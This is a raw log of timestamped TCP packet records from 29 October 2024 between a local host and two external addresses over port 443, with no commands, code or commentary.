Oct 29, 2024 18:42:37.168807030 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.168850899 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.169152975 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.169182062 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.172342062 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.172709942 CET	49817	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.172741890 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.173088074 CET	49817	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.173093081 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.173608065 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.173938990 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.173947096 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.174523115 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.174527884 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.295028925 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.295212030 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.295301914 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.295519114 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.295531034 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.295556068 CET	49818	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.295561075 CET	443	49818	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.298101902 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.298161030 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.298263073 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.298401117 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.298418999 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.298903942 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.299000978 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.299161911 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.299231052 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.299279928 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.299309015 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.299362898 CET	49820	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.299376965 CET	443	49820	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.301243067 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.301269054 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.301346064 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.301451921 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.301460981 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.306385994 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.306404114 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.306443930 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.306468010 CET	49817	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.306495905 CET	49817	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.306647062 CET	49817	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.306667089 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.306678057 CET	49817	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.306684017 CET	443	49817	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.307425022 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.307818890 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.307878017 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.308003902 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.308008909 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.308020115 CET	49819	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.308023930 CET	443	49819	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.308815002 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.308834076 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.308921099 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.309106112 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.309119940 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.309936047 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.309961081 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.310030937 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.310271978 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.310286045 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.438105106 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.441010952 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.441026926 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.441565037 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.441570997 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.571432114 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.571499109 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.571615934 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.571629047 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.571659088 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.571712017 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.571808100 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.571815014 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.571825981 CET	49821	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.571830988 CET	443	49821	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.574342012 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.574362993 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:37.574450970 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.574603081 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:37.574614048 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.042089939 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.042620897 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.042639971 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.043468952 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.043477058 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.043931007 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.044276953 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.044296980 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.044693947 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.044699907 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.049854040 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.050194979 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.050214052 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.050592899 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.050600052 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.060966015 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.061467886 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.061489105 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.061937094 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.061943054 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.172579050 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.172637939 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.172754049 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.172789097 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.172941923 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.173002958 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.173125982 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.173160076 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.173201084 CET	49822	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.173217058 CET	443	49822	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.175400019 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.175580025 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.175685883 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.176326036 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.176341057 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.176361084 CET	49823	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.176367044 CET	443	49823	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.176399946 CET	49827	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.176435947 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.176492929 CET	49827	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.176655054 CET	49827	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.176670074 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.178674936 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.178700924 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.178772926 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.178913116 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.178930998 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.186049938 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.186323881 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.186393976 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.186424017 CET	49825	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.186438084 CET	443	49825	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.188698053 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.188731909 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.188872099 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.188956022 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.188967943 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.194782972 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.195246935 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.195310116 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.195498943 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.195498943 CET	49824	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.195509911 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.195519924 CET	443	49824	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.197586060 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.197623014 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.197679996 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.197788000 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.197803974 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.306606054 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.318492889 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.318511963 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.318974018 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.318980932 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.445666075 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.446044922 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.446115971 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.446175098 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.446175098 CET	49826	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.446187019 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.446197033 CET	443	49826	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.449054956 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.449088097 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.449192047 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.449328899 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.449341059 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.700795889 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:38.700819016 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:38.700911999 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:38.701885939 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:38.701898098 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:38.906687021 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.907195091 CET	49827	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.907213926 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.907660007 CET	49827	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.907665014 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.922916889 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.923882961 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.923882961 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.923892975 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.923902988 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.924084902 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.924562931 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.924587965 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.924732924 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.924737930 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.931238890 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.931627035 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.931643009 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:38.932070971 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:38.932075977 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.048522949 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.048718929 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.048947096 CET	49827	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.049010038 CET	49827	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.049026012 CET	443	49827	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.052057028 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.052097082 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.052197933 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.052362919 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.052370071 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.053708076 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.053894997 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.053962946 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.053993940 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.054003954 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.054018974 CET	49829	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.054023981 CET	443	49829	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.056122065 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.056148052 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.056267023 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.056478977 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.056490898 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.056986094 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.057948112 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.058012009 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.058033943 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.058054924 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.058068991 CET	49828	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.058077097 CET	443	49828	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.060081959 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.060092926 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.060153961 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.060297012 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.060303926 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.060645103 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.060856104 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.060935020 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.060950041 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.060955048 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.061022997 CET	49830	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.061027050 CET	443	49830	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.063189030 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.063254118 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.063359022 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.063488007 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.063513994 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.174529076 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.175219059 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.175239086 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.176110029 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.176115036 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.306735039 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.306866884 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.306943893 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.307257891 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.307284117 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.307318926 CET	49831	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.307327032 CET	443	49831	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.311795950 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.311887026 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.311985016 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.312186956 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.312222958 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.784677982 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.785238028 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.785268068 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.786123991 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.786129951 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.795927048 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.796587944 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.796652079 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.797310114 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.797324896 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.800560951 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.801822901 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:39.801872969 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.801872969 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.801888943 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.801892996 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.801893950 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:39.804644108 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.808242083 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.808250904 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.808819056 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.808825016 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.841747046 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:39.841769934 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:39.842041969 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:39.845932961 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:39.846008062 CET	49832	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:42:39.846039057 CET	443	49832	40.126.32.72	192.168.2.5
Oct 29, 2024 18:42:39.914485931 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.914829969 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.914900064 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.914933920 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.914956093 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.914966106 CET	49833	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.914972067 CET	443	49833	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.917968035 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.918010950 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.918597937 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.918778896 CET	49838	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.918801069 CET	443	49838	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.927114010 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.927272081 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.927331924 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.927406073 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.927463055 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.927496910 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.927525043 CET	49836	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.927540064 CET	443	49836	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.929666042 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.929683924 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.929891109 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.930001020 CET	49839	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.930007935 CET	443	49839	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.933768034 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.933927059 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.934039116 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.934071064 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.934077978 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.934092999 CET	49835	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.934097052 CET	443	49835	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.936203957 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.936224937 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:39.936480045 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.936635017 CET	49840	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:39.936644077 CET	443	49840	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.002213001 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.002250910 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.002316952 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.002410889 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.005863905 CET	49834	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.005875111 CET	443	49834	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.009100914 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.009116888 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.009329081 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.009769917 CET	49841	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.009783030 CET	443	49841	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.052289963 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.052755117 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.052767038 CET	443	49837	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:40.053258896 CET	49837	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:40.053265095 CET	443	49837	13.107.246.45	192.168.2.5
